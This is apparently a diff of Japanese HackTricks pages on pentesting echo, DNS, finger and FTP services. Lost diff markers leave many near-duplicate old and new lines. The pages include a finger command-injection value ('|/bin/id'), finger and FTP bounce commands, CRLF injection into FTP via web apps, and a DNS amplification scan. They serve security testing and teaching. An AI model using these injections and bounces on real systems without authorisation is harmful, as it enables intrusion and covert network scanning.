- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
</details>
# 基本情報
このホストでエコーサービスが実行されています。エコーサービスはテストと測定の目的で意図されており、TCPとUDPの両方のプロトコルでリッスンする可能性があります。サーバーは受信したデータを変更せずに送り返します。\
**同じマシンまたは別のマシンのエコーサービスに接続することでサービス拒否を引き起こす可能性があります**。生成されるパケットの数が過剰に多いため、影響を受けるマシンは実質的にサービスから外れる可能性があります。\
情報源 [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
このホストでエコーサービスが実行されています。エコーサービスはテストおよび計測目的で意図されており、TCPおよびUDPプロトコルの両方でリッスンする可能性があります。サーバーは受信したデータを変更せずに送り返します。\
**同じマシンまたは別のマシンのエコーサービスに接続することでサービス拒否を引き起こす可能性があります**。生成されるパケット数が過剰に高いため、影響を受けるマシンは実質的にサービスから外れる可能性があります。\
情報元:[https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
**デフォルトポート:** 7/tcp/udp
```
**デフォルトポート:** 7/tcp/udp
```
PORT STATE SERVICE
7/udp open echo
7/tcp open echo
```
## Echoサービスに接触UDP
## Echoサービスへの接続UDP
```bash
nc -uvn <IP> 7
Hello echo #This is wat you send
@ -37,23 +35,23 @@ Hello echo #This is the response
* `port:7 echo`
# 参考文献
## References
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO_protocol)
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
[CA-1996-01 UDP Port Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック</strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけ
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする。**
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
</details>

View file

@ -7,23 +7,22 @@
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**フォロー**する
- **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**フォロー**する
- **ハッキングテクニックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻し、より深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発してます。
**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らに深く掘り下げる時間を与え、シェルをポップして楽しむことができます。
{% embed url="https://pentest-tools.com/" %}
## **基本情報**
ドメインネームシステムDNSはインターネットの電話帳です。人間はnytimes.comやespn.comなどのドメイン名を通じてオンライン情報にアクセスします。WebブラウザはインターネットプロトコルIPアドレスを介して対話します。DNSはドメイン名を[IPアドレス](https://www.cloudflare.com/learning/dns/glossary/what-is-my-ip-address/)に変換して、ブラウザがインターネットリソースを読み込めるようにします。\
[ここ](https://www.cloudflare.com/learning/dns/what-is-dns/)から。
**ドメインネームシステムDNS**はインターネットのディレクトリとして機能し、ユーザーがgoogle.comやfacebook.comなどの**覚えやすいドメイン名**を介してウェブサイトにアクセスできるようにします。これにより、DNSはドメイン名をIPアドレスに変換することで、Webブラウザがインターネットリソースを迅速に読み込めるようにし、オンライン世界をナビゲートする方法を簡素化します。
**デフォルトポート:** 53
```
@ -34,43 +33,37 @@ PORT STATE SERVICE REASON
```
### 異なるDNSサーバー
- **DNSルートサーバー**
- 最上位ドメインTLDの責任はDNSルートサーバーによって保持されます。これらのサーバーは、名前サーバーが応答しない場合にのみクエリされ、ドメインとIPアドレスをリンクしてユーザーとインターネットコンテンツとの中央インターフェースとして機能します。これらのサーバーの運用は、世界中に13台存在するICANNインターネット割り当て名前および番号協会によって調整されます。
- **DNSルートサーバー**: DNS階層のトップにあり、トップレベルドメインを管理し、下位サーバーからの応答がない場合にのみ介入します。インターネット名前と番号の割り当てを管理するインターネット公社**ICANN**がその運用を監督し、グローバルで13のカウントがあります。
- **権威あるネームサーバー**
- 特定のゾーンに対する権限を持つのは権威あるネームサーバーであり、それらの責任範囲内のクエリに対するバインディング回答を提供します。これらのサーバーがクエリに応答できない場合、ルートネームサーバーが責任を引き継ぎます。
- **権威あるネームサーバー**: これらのサーバーは、それぞれの指定されたゾーン内のクエリについて最終的な判断を下し、明確な回答を提供します。回答を提供できない場合、クエリはルートサーバーにエスカレートされます。
- **非権威あるネームサーバー**
- 特定のDNSゾーンの責任を持たないのは非権威あるネームサーバーです。代わりに、彼らは再帰的または繰り返し的なクエリを通じてDNSゾーンの情報を取得します。
- **非権威あるネームサーバー**: DNSゾーンの所有権を持たないため、これらのサーバーは他のサーバーへのクエリを通じてドメイン情報を収集します。
- **キャッシュDNSサーバー**
- キャッシュDNSサーバーは、他の名前サーバーからの情報を一定期間キャッシュし、この保存期間は権威あるネームサーバーによって設定されます。
- **キャッシュDNSサーバー**: このタイプのサーバーは、将来のリクエストの応答時間を高速化するために、以前のクエリ回答を一定時間記憶します。キャッシュの期間は権威あるサーバーによって決定されます。
- **フォワーディングサーバー**
- フォワーディングサーバーは、DNSクエリを別のサーバーに転送する唯一の機能を果たします。
- **フォワーディングサーバー**: 単純な役割を果たすフォワーディングサーバーは、単に別のサーバーにクエリを中継します。
- **リゾルバ**
- コンピュータやルーターでローカルに名前解決を行うリゾルバは、権威あるDNSサーバーとは見なされません。
- **リゾルバ**: コンピュータやルーターに統合されているリゾルバは、ローカルで名前解決を実行し、権威あるとは見なされません。
## 列挙
### **バナー取得**
### **バナーグラビング**
DNSには取得する「バナー」がありません。最も近い相当物は、ほとんどのBINDネームサーバーで機能する`version.bind. CHAOS TXT`のマジッククエリです。\
DNSにはバナーがありませんが、`version.bind. CHAOS TXT`のマジッククエリを取得できます。これはほとんどのBINDネームサーバーで機能します。\
`dig`を使用してこのクエリを実行できます:
```bash
dig version.bind CHAOS TXT @DNS
```
もし機能しない場合は、リモートサーバーのバージョンを特定するためにフィンガープリント技術を使用できます -- [`fpdns`](https://github.com/kirei/fpdns) ツールがその1つのオプションですが、他にもあります。
さらに、ツール[`fpdns`](https://github.com/kirei/fpdns)を使用してサーバーのフィンガープリントを取得することもできます。
**nmap** スクリプトでもバナーを取得できます:
また、**nmap**スクリプトを使用してバナーを取得することも可能です:
```
--script dns-nsid
```
### **任意のレコード**
**ANY** レコードは、DNSサーバーにすべての利用可能なエントリを返すように要求します。それが開示することを意図しているエントリをすべて返します。
レコード**ANY**は、DNSサーバーにすべての利用可能な**エントリ**を**開示することを許可する**ように要求します。
```bash
dig any victim.com @<DNS_IP>
```
@ -125,12 +118,12 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
```
{% hint style="info" %}
内部IPアドレスに解決されるサブドメインを見つけることができる場合、そのIP範囲を持つNSsに逆DNS BFを実行してみるべきです。
内部IPアドレスに解決されるサブドメインを見つけることができる場合、そのIP範囲を問い合わせるために、そのドメインのNSに対して逆DNS BFを実行してみるべきです。
{% endhint %}
これを行うための別のツール[https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
これを行うための別のツール: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
逆IP範囲をクエリすることができます:[https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns)このツールはBGPでも役立ちます
逆IP範囲を問い合わせることができます: [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns)このツールはBGPでも役立ちます
### DNS - サブドメインBF
```bash
@ -163,9 +156,9 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
```bash
dnsdict6 -s -t <domain>
```
## IPv6 addresses
## IPv6 Addresses
IPv6 addresses are 128 bits long, compared to the 32 bits of IPv4 addresses. This makes brute-forcing reverse DNS infeasible due to the vast address space. However, tools like `dnsrecon` can help automate the process by querying DNS servers for PTR records associated with IPv6 addresses.
IPv6 addresses are 128 bits long, compared to the 32 bits of IPv4 addresses. This makes brute-forcing reverse DNS infeasible due to the significantly larger address space.
```bash
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
```
@ -300,20 +293,20 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
```
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してさらに深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出およびエクスプロイテーションモジュールを開発しています。
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻し、より深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出およびエクスプロイテーションモジュールを開発しています。
{% embed url="https://pentest-tools.com/" %}
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでゼロからヒーローまでAWSハッキングを学びましょう</strong>!</summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたり**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で私を**フォロー**する
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください</strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローしてください。**
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有してください。
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
</details>
## **基本情報**
**Finger**は、コンピュータユーザーに関する情報を見つけるために使用できるプログラムです。通常、ログイン名、フルネーム、およびfingeringしているユーザーに関する他の詳細をリストします。これらの詳細には、オフィスの場所や電話番号既知の場合、ログイン時間、アイドル時間、最後にメールを読んだ時間、ユーザーのプランとプロジェクトファイルが含まれる場合があります。
**Finger** プログラム/サービスは、コンピュータユーザーに関する詳細を取得するために使用されます。通常、提供される情報には **ユーザーのログイン名、フルネーム** が含まれ、場合によっては追加の詳細もあります。これらの追加の詳細には、オフィスの場所や電話番号(利用可能な場合)、ユーザーがログインした時間、非アクティブな期間(アイドル時間)、ユーザーが最後にメールを読んだ時刻、ユーザーのプランとプロジェクトファイルの内容が含まれることがあります。
**デフォルトポート:** 79
```
@ -25,7 +25,7 @@ PORT STATE SERVICE
```
## **列挙**
### **バナー掴み取り/基本接続**
### **バナー取得/基本的な接続**
```bash
nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
@ -36,13 +36,13 @@ finger @<Victim> #List users
finger admin@<Victim> #Get info of user
finger user@<Victim> #Get info of user
```
代わりに、[**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum) から **finger-user-enum** を使用することもできます。いくつかの例:
以下は、[**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum)から**finger-user-enum**を使用することもできます。いくつかの例
```bash
finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
```
#### **Nmapはデフォルトスクリプトを使用してスクリプトを実行します**
#### **Nmapはデフォルトのスクリプトを使用するためにスクリプトを実行します**
### MetasploitはNmapよりも多くのトリックを使用します
```
@ -57,23 +57,23 @@ use auxiliary/scanner/finger/finger_users
finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"
```
## Finger Bounce
## フィンガーバウンス
[システムをfingerリレーとして使用する](https://securiteam.com/exploits/2BUQ2RFQ0I/)
[システムをフィンガーリレーとして使用する](https://securiteam.com/exploits/2BUQ2RFQ0I/)
```
finger user@host@victim
finger @internal@external
```
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</summary>
HackTricksをサポートする他の方法:
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください
</details>

View file

@ -5,16 +5,16 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、当社の独占的な[NFTコレクション](https://opensea.io/collection/the-peass-family)
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/)Discordグループ**に**参加**するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有**するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
重要な脆弱性を見つけて修正を迅速化します。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまでの技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
最も重要な脆弱性を見つけて修正を迅速化します。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまでの技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -22,7 +22,7 @@
## 基本情報
**ファイル転送プロトコルFTP**は、コンピュータネットワーク上のクライアントとサーバー間でコンピュータファイルを転送するために使用される標準ネットワークプロトコルです。\
**ファイル転送プロトコルFTP**は、サーバーとクライアント間でコンピューターネットワークを介してファイルを転送するための標準プロトコルとして機能します。\
**プレーンテキスト**プロトコルであり、**改行文字 `0x0d 0x0a`**を使用するため、**`telnet`**または**`nc -C`**を使用して接続する必要があることがあります。
**デフォルトポート:** 21
@ -32,11 +32,11 @@ PORT STATE SERVICE
```
### 接続のアクティブとパッシブ
**アクティブFTP**では、FTP **クライアント**はまず、ポートNからFTPサーバーのコマンドポートポート21への制御**接続**を**初期化**します。その後、**クライアント**はポート**N+1**で**リッスン**し、ポートN+1をFTPサーバーに送信します。FTP **サーバー**はその後、**ポートMからFTPクライアントのポートN+1**へのデータ**接続**を**初期化**します。
**アクティブFTP**では、FTP **クライアント**は最初に制御**接続**をポートNからFTPサーバーのコマンドポートポート21**初期化**します。その後、**クライアント**はポート**N+1**で**リッスン**し、ポートN+1をFTPサーバーに送信します。FTP **サーバー**はその後、データ**接続**を、**そのポートMからFTPクライアントのポートN+1****初期化**します。
ただし、FTPクライアントに外部からの着信データ接続を制御するファイアウォールが設定されている場合、アクティブFTPは問題となる可能性があります。そのための実現可能な解決策がパッシブFTPです。
ただし、FTPクライアントに外部からの着信データ接続を制御するファイアウォール設定がある場合、アクティブFTPは問題になる可能性があります。そのための実用的な解決策はパッシブFTPです。
**パッシブFTP**では、クライアントはポートNからFTPサーバーのポート21への制御接続を初期化します。その後、クライアントは**passvコマンド**を発行します。サーバーはクライアントに自身のポート番号Mのいずれかを送信します。そして、**クライアント**は**ポートPからFTPサーバーのポートM**へのデータ**接続**を**初期化**します。
**パッシブFTP**では、クライアントは制御接続をポートNからFTPサーバーのポート21に**初期化**します。その後、クライアントは**passvコマンド**を発行します。サーバーはクライアントに自身のポート番号Mの1つを送信します。そして、**クライアント**は**そのポートPからFTPサーバーのポートM**にデータ**接続**を**初期化**します。
ソース: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
@ -67,7 +67,7 @@ lftp 10.10.10.208:~> login username Password
```bash
sudo nmap -sV -p21 -sC -A 10.10.10.10
```
以下のコマンドを使用して、FTPサーバーの情報を取得できます:`HELP`および`FEAT`
以下のコマンドを使用してFTPサーバーから情報を取得できます:`HELP`および`FEAT`
```
HELP
214-The following commands are recognized (* =>'s unimplemented):
@ -123,7 +123,7 @@ ftp <IP>
### Automated
匿名ログインとバウンスFTPチェックは、nmapが**-sC**オプションまたはデフォルトで実行します。
匿名ログインとバウンスFTPチェックは、nmapの**-sC**オプションまたはデフォルトで実行されます。
```bash
nmap --script ftp-* -p 21 <ip>
```
@ -133,7 +133,7 @@ FTPサーバーには、Firefoxなどのブラウザを使用して次のよう
```bash
ftp://anonymous:anonymous@10.10.10.98
```
注意してください。**Webアプリケーション**がユーザーによって制御されたデータを**直接FTPサーバーに送信**している場合、ダブルURLエンコード`%0d%0a`ダブルURLエンコードでは`%250d%250a`となります)バイトを送信して、**FTPサーバーに任意のアクションを実行**させることができます。これらの任意のアクションの1つは、ユーザーが制御するサーバーからコンテンツをダウンロードしたり、ポートスキャンを実行したり、他のプレーンテキストベースのサービスhttpと通信を試みることです。
注意してください。**Webアプリケーション**がユーザーによって制御されたデータを**直接FTPサーバーに送信**している場合、ダブルURLエンコード`%0d%0a`ダブルURLエンコードでは`%250d%250a`となります)バイトを送信して、**FTPサーバーに任意のアクションを実行**させることができます。これらの可能な任意のアクションの1つは、ユーザーが制御するサーバーからコンテンツをダウンロードしたり、ポートスキャンを実行したり、他のプレーンテキストベースのサービスhttpと通信を試みることです。
## FTPからすべてのファイルをダウンロード
```bash
@ -148,16 +148,16 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
- **`USER ユーザー名`**
- **`PASS パスワード`**
- **`HELP`** サーバーはサポートされているコマンドを示しま
- **`PORT 127,0,0,1,0,80`** これによりFTPサーバーがIP 127.0.0.1のポート80に接続するよう指示されます第5文字を "0" とし、第6文字を10進数のポートにするか、第5文字と第6文字を使用して16進数でポートを表現ます)。
- **`EPRT |2|127.0.0.1|80|`** これによりFTPサーバーがIP 127.0.0.1のポート80にTCP接続"2"で示される)を確立するよう指示されます。このコマンドは**IPv6をサポート**しています。
- **`HELP`** サーバーはサポートされているコマンドを示す
- **`PORT 127,0,0,1,0,80`** これはFTPサーバーにIP 127.0.0.1のポート80と接続するよう指示する第5文字を "0" とし、第6文字を10進数のポートにするか、第5文字と第6文字を使用して16進数でポートを表現する必要があります)。
- **`EPRT |2|127.0.0.1|80|`** これはFTPサーバーにIP 127.0.0.1のポート80とのTCP接続"2"で示される)を確立するよう指示するコマンドです。このコマンドは**IPv6をサポート**しています。
- **`LIST`** 現在のフォルダ内のファイルリストを送信します
- **`LIST -R`** 再帰的にリストします(サーバーが許可る場合)
- **`APPE /path/something.txt`** これによりFTPが**パッシブ**接続または**PORT/EPRT**接続から受信したデータをファイルに保存するよう指示されます。ファイル名が存在する場合、データが追加されます。
- **`LIST -R`** 再帰的にリストします(サーバーが許可している場合)
- **`APPE /path/something.txt`** これはFTPに受信したデータを**パッシブ**接続または**PORT/EPRT**接続からファイルに保存するよう指示します。ファイル名が存在する場合、データを追記します。
- **`STOR /path/something.txt`** `APPE`と同様ですが、ファイルを上書きします
- **`STOU /path/something.txt`** `APPE`と同様ですが、存在する場合は何もしません。
- **`STOU /path/something.txt`** `APPE`と同様ですが、ファイルが存在する場合は何もしません。
- **`RETR /path/to/file`** パッシブまたはポート接続を確立する必要があります。その後、FTPサーバーはその接続を介して指定されたファイルを送信します
- **`REST 6`** これにより、サーバーに次回`RETR`を使用して何かを送信する際に、6番目のバイトから開始するように指示されます。
- **`REST 6`** これサーバーに次回`RETR`を使用して何かを送信する際に、6番目のバイトから開始するように指示ます。
- **`TYPE i`** 転送をバイナリに設定します
- **`PASV`** パッシブ接続を開き、ユーザーが接続できる場所を示します
- **`PUT /tmp/file.txt`** 指定されたファイルをFTPにアップロードします
